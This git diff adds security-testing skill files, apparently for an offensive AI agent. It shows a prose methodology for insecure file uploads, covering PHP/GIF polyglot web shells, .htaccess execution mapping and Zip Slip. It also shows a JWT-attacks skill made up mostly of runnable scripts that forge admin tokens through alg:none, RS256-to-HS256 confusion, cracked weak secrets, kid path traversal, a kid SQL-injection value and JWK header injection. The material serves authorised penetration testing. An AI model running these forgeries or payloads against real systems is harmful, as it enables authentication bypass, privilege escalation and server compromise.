- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,190 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: insecure-file-uploads
|
|
5
|
+
description: File upload security testing covering extension bypass, content-type manipulation, and path traversal
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Insecure File Uploads
|
|
9
|
+
|
|
10
|
+
Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
|
|
15
|
+
- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
|
|
16
|
+
- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
|
|
17
|
+
- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
|
|
18
|
+
|
|
19
|
+
## Reconnaissance
|
|
20
|
+
|
|
21
|
+
### Surface Map
|
|
22
|
+
|
|
23
|
+
- Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template
|
|
24
|
+
- Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control
|
|
25
|
+
- Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late
|
|
26
|
+
- Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions
|
|
27
|
+
|
|
28
|
+
### Capability Probes
|
|
29
|
+
|
|
30
|
+
- Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download
|
|
31
|
+
- Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing
|
|
32
|
+
- SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)?
|
|
33
|
+
- Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules
|
|
34
|
+
|
|
35
|
+
## Detection Channels
|
|
36
|
+
|
|
37
|
+
### Server Execution
|
|
38
|
+
|
|
39
|
+
- Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution
|
|
40
|
+
- Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool)
|
|
41
|
+
|
|
42
|
+
### Client Execution
|
|
43
|
+
|
|
44
|
+
- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
|
|
45
|
+
|
|
46
|
+
### Header and Render
|
|
47
|
+
|
|
48
|
+
- Missing X-Content-Type-Options: nosniff enabling browser sniff to script
|
|
49
|
+
- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
|
|
50
|
+
|
|
51
|
+
### Process Side Effects
|
|
52
|
+
|
|
53
|
+
- AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning
|
|
54
|
+
|
|
55
|
+
## Core Payloads
|
|
56
|
+
|
|
57
|
+
### Web Shells and Configs
|
|
58
|
+
|
|
59
|
+
- PHP: GIF polyglot (starts with GIF89a) followed by `<?php echo 1; ?>`; place where PHP is executed
|
|
60
|
+
- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
|
|
61
|
+
- ASP/JSP equivalents where supported; IIS web.config to enable script execution
|
|
62
|
+
|
|
63
|
+
### Stored XSS
|
|
64
|
+
|
|
65
|
+
- SVG with onload/onerror handlers served as image/svg+xml or text/html
|
|
66
|
+
- HTML file with script when served as text/html or sniffed due to missing nosniff
|
|
67
|
+
|
|
68
|
+
### MIME Magic Polyglots
|
|
69
|
+
|
|
70
|
+
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
|
71
|
+
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
|
72
|
+
|
|
73
|
+
### Archive Attacks
|
|
74
|
+
|
|
75
|
+
- Zip Slip: entries with `../../` to escape extraction dir; symlink-in-zip pointing outside target; nested zips
|
|
76
|
+
- Zip bomb: extreme compression ratios to exhaust resources in processors
|
|
77
|
+
|
|
78
|
+
### Toolchain Exploits
|
|
79
|
+
|
|
80
|
+
- ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files
|
|
81
|
+
- Ghostscript in PDF/PS with file operators (%pipe%)
|
|
82
|
+
- ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields
|
|
83
|
+
|
|
84
|
+
### Cloud Storage Vectors
|
|
85
|
+
|
|
86
|
+
- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
|
|
87
|
+
- Public-read ACL or permissive bucket policies expose uploads broadly
|
|
88
|
+
- Object key injection via user-controlled path prefixes
|
|
89
|
+
- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
|
|
90
|
+
|
|
91
|
+
## Advanced Techniques
|
|
92
|
+
|
|
93
|
+
### Resumable Multipart
|
|
94
|
+
|
|
95
|
+
- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
|
|
96
|
+
- Upload benign chunks, then swap last chunk or complete with different source
|
|
97
|
+
|
|
98
|
+
### Filename and Path
|
|
99
|
+
|
|
100
|
+
- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators
|
|
101
|
+
- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
|
|
102
|
+
|
|
103
|
+
### Processing Races
|
|
104
|
+
|
|
105
|
+
- Request file immediately after upload but before AV/CDR completes
|
|
106
|
+
- Trigger heavy conversions (large images, deep PDFs) to widen race windows
|
|
107
|
+
|
|
108
|
+
### Metadata Abuse
|
|
109
|
+
|
|
110
|
+
- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws
|
|
111
|
+
- Payloads in document properties of Office/PDF rendered by previewers
|
|
112
|
+
|
|
113
|
+
### Header Manipulation
|
|
114
|
+
|
|
115
|
+
- Force inline rendering with Content-Type + inline Content-Disposition
|
|
116
|
+
- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
|
|
117
|
+
|
|
118
|
+
## Bypass Techniques
|
|
119
|
+
|
|
120
|
+
### Validation Gaps
|
|
121
|
+
|
|
122
|
+
- Client-side only checks; relying on JS/MIME provided by browser
|
|
123
|
+
- Trusting multipart boundary part headers blindly
|
|
124
|
+
- Extension allowlists without server-side content inspection
|
|
125
|
+
|
|
126
|
+
### Evasion Tricks
|
|
127
|
+
|
|
128
|
+
- Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix
|
|
129
|
+
- Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence
|
|
130
|
+
|
|
131
|
+
## Special Contexts
|
|
132
|
+
|
|
133
|
+
### Rich Text Editors
|
|
134
|
+
|
|
135
|
+
- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers
|
|
136
|
+
|
|
137
|
+
### Mobile Clients
|
|
138
|
+
|
|
139
|
+
- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations
|
|
140
|
+
|
|
141
|
+
### Serverless and CDN
|
|
142
|
+
|
|
143
|
+
- Direct-to-bucket uploads with Lambda/Workers post-processing; verify security decisions are not delegated to frontends
|
|
144
|
+
- CDN caching of uploaded content; ensure correct cache keys and headers
|
|
145
|
+
|
|
146
|
+
## Testing Methodology
|
|
147
|
+
|
|
148
|
+
1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur
|
|
149
|
+
2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content
|
|
150
|
+
3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads
|
|
151
|
+
4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure
|
|
152
|
+
5. **Validate execution** - Can uploaded content execute on server or client?
|
|
153
|
+
|
|
154
|
+
## Validation
|
|
155
|
+
|
|
156
|
+
1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed
|
|
157
|
+
2. Show filter bypass: upload accepted despite restrictions with evidence on retrieval
|
|
158
|
+
3. Prove header weaknesses: inline rendering without nosniff or missing attachment
|
|
159
|
+
4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory
|
|
160
|
+
5. Provide reproducible steps: request/response for upload and subsequent access
|
|
161
|
+
|
|
162
|
+
## False Positives
|
|
163
|
+
|
|
164
|
+
- Upload stored but never served back; or always served as attachment with strict nosniff
|
|
165
|
+
- Converters run in locked-down sandboxes with no external IO and no script engines
|
|
166
|
+
- AV/CDR blocks the payload and quarantines; access before scan is impossible by design
|
|
167
|
+
|
|
168
|
+
## Impact
|
|
169
|
+
|
|
170
|
+
- Remote code execution on application stack or media toolchain host
|
|
171
|
+
- Persistent cross-site scripting and session/token exfiltration via served uploads
|
|
172
|
+
- Malware distribution via public storage/CDN; brand/reputation damage
|
|
173
|
+
- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs
|
|
174
|
+
|
|
175
|
+
## Pro Tips
|
|
176
|
+
|
|
177
|
+
1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant
|
|
178
|
+
2. Always capture download response headers and final MIME; that decides browser behavior
|
|
179
|
+
3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than complex sanitization
|
|
180
|
+
4. In presigned flows, constrain all headers and object keys server-side
|
|
181
|
+
5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal
|
|
182
|
+
6. Test finalize/complete steps in resumable flows; many validations only run on init
|
|
183
|
+
7. Verify background processors with EICAR and tiny polyglots
|
|
184
|
+
8. When you cannot get execution, aim for stored XSS or header-driven script execution
|
|
185
|
+
9. Validate that CDNs honor attachment/nosniff
|
|
186
|
+
10. Document full pipeline behavior per asset type
|
|
187
|
+
|
|
188
|
+
## Summary
|
|
189
|
+
|
|
190
|
+
Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.
|
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# JWT Attacks — Algorithm Confusion, None Attack, Key Confusion
|
|
4
|
+
|
|
5
|
+
Complete methodology for testing JSON Web Token vulnerabilities: alg:none, RS256→HS256 confusion, weak secrets, kid injection, JWK injection.
|
|
6
|
+
|
|
7
|
+
## Install
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
pip install pyjwt cryptography --break-system-packages
|
|
11
|
+
# jwt_tool (all-in-one):
|
|
12
|
+
git clone https://github.com/ticarpi/jwt_tool /opt/jwt_tool
|
|
13
|
+
pip install termcolor cprint pycryptodomex requests --break-system-packages
|
|
14
|
+
|
|
15
|
+
# hashcat for secret cracking:
|
|
16
|
+
sudo apt-get install -y hashcat
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1: Decode & Inspect
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Decode JWT without verification:
|
|
25
|
+
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
|
|
26
|
+
|
|
27
|
+
# Split and decode manually:
|
|
28
|
+
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null; echo
|
|
29
|
+
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null; echo
|
|
30
|
+
|
|
31
|
+
# Using jwt_tool:
|
|
32
|
+
python3 /opt/jwt_tool/jwt_tool.py $TOKEN
|
|
33
|
+
|
|
34
|
+
# Using python:
|
|
35
|
+
python3 -c "
|
|
36
|
+
import base64, json
|
|
37
|
+
token = '$TOKEN'
|
|
38
|
+
parts = token.split('.')
|
|
39
|
+
header = json.loads(base64.b64decode(parts[0] + '=='))
|
|
40
|
+
payload = json.loads(base64.b64decode(parts[1] + '=='))
|
|
41
|
+
print('Header:', json.dumps(header, indent=2))
|
|
42
|
+
print('Payload:', json.dumps(payload, indent=2))
|
|
43
|
+
"
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Phase 2: Algorithm None Attack
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# Change alg to 'none' — removes signature verification
|
|
52
|
+
python3 -c "
|
|
53
|
+
import base64, json, sys
|
|
54
|
+
|
|
55
|
+
def b64url(data):
|
|
56
|
+
if isinstance(data, str):
|
|
57
|
+
data = data.encode()
|
|
58
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
59
|
+
|
|
60
|
+
original_token = sys.argv[1] if len(sys.argv) > 1 else 'PASTE_TOKEN_HERE'
|
|
61
|
+
parts = original_token.split('.')
|
|
62
|
+
|
|
63
|
+
header = json.loads(base64.b64decode(parts[0] + '=='))
|
|
64
|
+
payload = json.loads(base64.b64decode(parts[1] + '=='))
|
|
65
|
+
|
|
66
|
+
# Modify payload (e.g. escalate to admin):
|
|
67
|
+
payload['role'] = 'admin'
|
|
68
|
+
payload['is_admin'] = True
|
|
69
|
+
payload['sub'] = '1' # try user ID 1 (often admin)
|
|
70
|
+
|
|
71
|
+
# Forge with alg:none
|
|
72
|
+
header['alg'] = 'none'
|
|
73
|
+
forged = b64url(json.dumps(header)) + '.' + b64url(json.dumps(payload)) + '.'
|
|
74
|
+
print('Forged token (alg:none):')
|
|
75
|
+
print(forged)
|
|
76
|
+
" $TOKEN
|
|
77
|
+
|
|
78
|
+
# jwt_tool:
|
|
79
|
+
python3 /opt/jwt_tool/jwt_tool.py $TOKEN -X a # alg:none attack
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Phase 3: RS256 → HS256 Algorithm Confusion
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
# If server uses RS256 (asymmetric), try signing with HS256 using PUBLIC KEY as secret.
|
|
88
|
+
# Server may verify HS256 using the same key material → bypass.
|
|
89
|
+
|
|
90
|
+
# Step 1: Get public key from well-known endpoint:
|
|
91
|
+
curl -s "https://target.com/.well-known/jwks.json" | jq .
|
|
92
|
+
curl -s "https://target.com/.well-known/openid-configuration" | jq .jwks_uri
|
|
93
|
+
|
|
94
|
+
# Step 2: Extract public key PEM:
|
|
95
|
+
python3 -c "
|
|
96
|
+
import requests, base64, json
|
|
97
|
+
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
|
|
98
|
+
from cryptography.hazmat.primitives import serialization
|
|
99
|
+
from cryptography.hazmat.backends import default_backend
|
|
100
|
+
|
|
101
|
+
jwks = requests.get('https://target.com/.well-known/jwks.json').json()
|
|
102
|
+
key = jwks['keys'][0]
|
|
103
|
+
|
|
104
|
+
n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big')
|
|
105
|
+
e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big')
|
|
106
|
+
pub = RSAPublicNumbers(e, n).public_key(default_backend())
|
|
107
|
+
pem = pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
|
|
108
|
+
print(pem.decode())
|
|
109
|
+
" > public_key.pem
|
|
110
|
+
|
|
111
|
+
# Step 3: Forge HS256 token using public key as HMAC secret:
|
|
112
|
+
python3 -c "
|
|
113
|
+
import jwt, json
|
|
114
|
+
|
|
115
|
+
with open('public_key.pem', 'rb') as f:
|
|
116
|
+
public_key = f.read()
|
|
117
|
+
|
|
118
|
+
payload = {'sub': '1', 'role': 'admin', 'iat': 9999999999}
|
|
119
|
+
forged = jwt.encode(payload, public_key, algorithm='HS256')
|
|
120
|
+
print('Forged HS256 token:')
|
|
121
|
+
print(forged)
|
|
122
|
+
"
|
|
123
|
+
|
|
124
|
+
# jwt_tool:
|
|
125
|
+
python3 /opt/jwt_tool/jwt_tool.py $TOKEN -S hs256 -k public_key.pem -I -pc role -pv admin
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## Phase 4: Weak Secret Cracking
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
# Crack HS256 secret with hashcat:
|
|
134
|
+
echo "$TOKEN" > jwt.txt
|
|
135
|
+
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
|
|
136
|
+
|
|
137
|
+
# Common weak secrets to try first:
|
|
138
|
+
for secret in secret password 123456 "" "null" "undefined" "your-256-bit-secret" \
|
|
139
|
+
"secret_key" "jwt_secret" "mysecret" "changeme" "development"; do
|
|
140
|
+
python3 -c "
|
|
141
|
+
import jwt, sys
|
|
142
|
+
try:
|
|
143
|
+
result = jwt.decode('$TOKEN', '$secret', algorithms=['HS256'])
|
|
144
|
+
print(f'[FOUND] Secret: $secret')
|
|
145
|
+
print('Payload:', result)
|
|
146
|
+
except: pass
|
|
147
|
+
"
|
|
148
|
+
done
|
|
149
|
+
|
|
150
|
+
# If secret found — forge with admin claims:
|
|
151
|
+
python3 -c "
|
|
152
|
+
import jwt
|
|
153
|
+
secret = 'FOUND_SECRET'
|
|
154
|
+
payload = {'sub': '1', 'role': 'admin', 'is_admin': True, 'iat': 9999999999}
|
|
155
|
+
forged = jwt.encode(payload, secret, algorithm='HS256')
|
|
156
|
+
print(forged)
|
|
157
|
+
"
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
---
|
|
161
|
+
|
|
162
|
+
## Phase 5: kid (Key ID) Injection
|
|
163
|
+
|
|
164
|
+
```bash
|
|
165
|
+
# kid header parameter used to select signing key — inject path traversal / SQL
|
|
166
|
+
|
|
167
|
+
# Directory traversal via kid:
|
|
168
|
+
python3 -c "
|
|
169
|
+
import base64, json, hmac, hashlib
|
|
170
|
+
|
|
171
|
+
def b64url(data):
|
|
172
|
+
if isinstance(data, str):
|
|
173
|
+
data = data.encode()
|
|
174
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
175
|
+
|
|
176
|
+
# kid pointing to /dev/null → empty key
|
|
177
|
+
header = {'alg': 'HS256', 'kid': '../../../dev/null', 'typ': 'JWT'}
|
|
178
|
+
payload = {'sub': '1', 'role': 'admin', 'iat': 9999999999}
|
|
179
|
+
|
|
180
|
+
msg = b64url(json.dumps(header)) + '.' + b64url(json.dumps(payload))
|
|
181
|
+
sig = hmac.new(b'', msg.encode(), hashlib.sha256).digest() # empty key
|
|
182
|
+
forged = msg + '.' + b64url(sig)
|
|
183
|
+
print('kid=/dev/null forged token:')
|
|
184
|
+
print(forged)
|
|
185
|
+
"
|
|
186
|
+
|
|
187
|
+
# SQL injection via kid:
|
|
188
|
+
# kid = "x' UNION SELECT 'attacker_secret'--"
|
|
189
|
+
python3 /opt/jwt_tool/jwt_tool.py $TOKEN -I -hc kid -hv "x' UNION SELECT 'attacker_secret'-- -" -S hs256 -p 'attacker_secret'
|
|
190
|
+
```
|
|
191
|
+
|
|
192
|
+
---
|
|
193
|
+
|
|
194
|
+
## Phase 6: JWK Header Injection
|
|
195
|
+
|
|
196
|
+
```bash
|
|
197
|
+
# Inject your own public key via jwk header parameter
|
|
198
|
+
|
|
199
|
+
# Generate RSA key pair:
|
|
200
|
+
openssl genrsa -out attacker_private.pem 2048
|
|
201
|
+
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
|
|
202
|
+
|
|
203
|
+
# Forge token with embedded JWK:
|
|
204
|
+
python3 -c "
|
|
205
|
+
import jwt, json
|
|
206
|
+
from cryptography.hazmat.primitives.serialization import load_pem_private_key
|
|
207
|
+
|
|
208
|
+
with open('attacker_private.pem', 'rb') as f:
|
|
209
|
+
private_key = load_pem_private_key(f.read(), None)
|
|
210
|
+
|
|
211
|
+
# Embed public JWK in header:
|
|
212
|
+
headers = {'jwk': {
|
|
213
|
+
'kty': 'RSA',
|
|
214
|
+
'n': '...', # base64url encoded modulus from attacker_public.pem
|
|
215
|
+
'e': 'AQAB',
|
|
216
|
+
}}
|
|
217
|
+
|
|
218
|
+
payload = {'sub': '1', 'role': 'admin', 'iat': 9999999999}
|
|
219
|
+
forged = jwt.encode(payload, private_key, algorithm='RS256', headers=headers)
|
|
220
|
+
print(forged)
|
|
221
|
+
"
|
|
222
|
+
|
|
223
|
+
# jwt_tool automates this:
|
|
224
|
+
python3 /opt/jwt_tool/jwt_tool.py $TOKEN -X i -I -pc role -pv admin
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## Phase 7: Claim Manipulation
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# Modify expiry, role, user ID with known/cracked secret:
|
|
233
|
+
python3 -c "
|
|
234
|
+
import jwt, time
|
|
235
|
+
|
|
236
|
+
secret = 'KNOWN_SECRET'
|
|
237
|
+
original = jwt.decode('$TOKEN', secret, algorithms=['HS256'])
|
|
238
|
+
print('Original payload:', original)
|
|
239
|
+
|
|
240
|
+
# Modifications to try:
|
|
241
|
+
modifications = [
|
|
242
|
+
{'sub': '1'}, # become user ID 1 (admin)
|
|
243
|
+
{'role': 'admin'}, # elevate role
|
|
244
|
+
{'is_admin': True}, # mass assignment field
|
|
245
|
+
{'email': 'admin@target.com'}, # email takeover
|
|
246
|
+
{'exp': int(time.time()) + 31536000}, # extend expiry 1 year
|
|
247
|
+
]
|
|
248
|
+
|
|
249
|
+
for mod in modifications:
|
|
250
|
+
payload = {**original, **mod}
|
|
251
|
+
forged = jwt.encode(payload, secret, algorithm='HS256')
|
|
252
|
+
print(f'Modified {list(mod.keys())}: {forged[:80]}...')
|
|
253
|
+
"
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
---
|
|
257
|
+
|
|
258
|
+
## Pro Tips
|
|
259
|
+
|
|
260
|
+
1. **Check alg:none first** — no key needed, instant test
|
|
261
|
+
2. **Check JWKS endpoint** — `/.well-known/jwks.json`, `/api/auth/jwks`, `/oauth/jwks`
|
|
262
|
+
3. **RS256→HS256** — requires public key; check X.509 cert endpoint too (`/api/public-key`)
|
|
263
|
+
4. **Hashcat mode 16500** — fastest JWT secret cracker; try `rockyou.txt` + `best64.rule`
|
|
264
|
+
5. **kid injection** — target often uses filesystem read; path traversal + SQL inject both work
|
|
265
|
+
6. **Check `x5u`/`jku` headers** — URL-based key injection; point to attacker-controlled JWK server
|
|
266
|
+
7. **`exp` in the past** — some servers don't verify expiry; test with expired token
|
|
267
|
+
|
|
268
|
+
## Summary
|
|
269
|
+
|
|
270
|
+
JWT flow: decode header/payload → check alg → try alg:none → if RS256 grab public key → try alg confusion → if HS256 crack secret with hashcat → if kid/jku present try injection → modify payload claims → forge and test.
|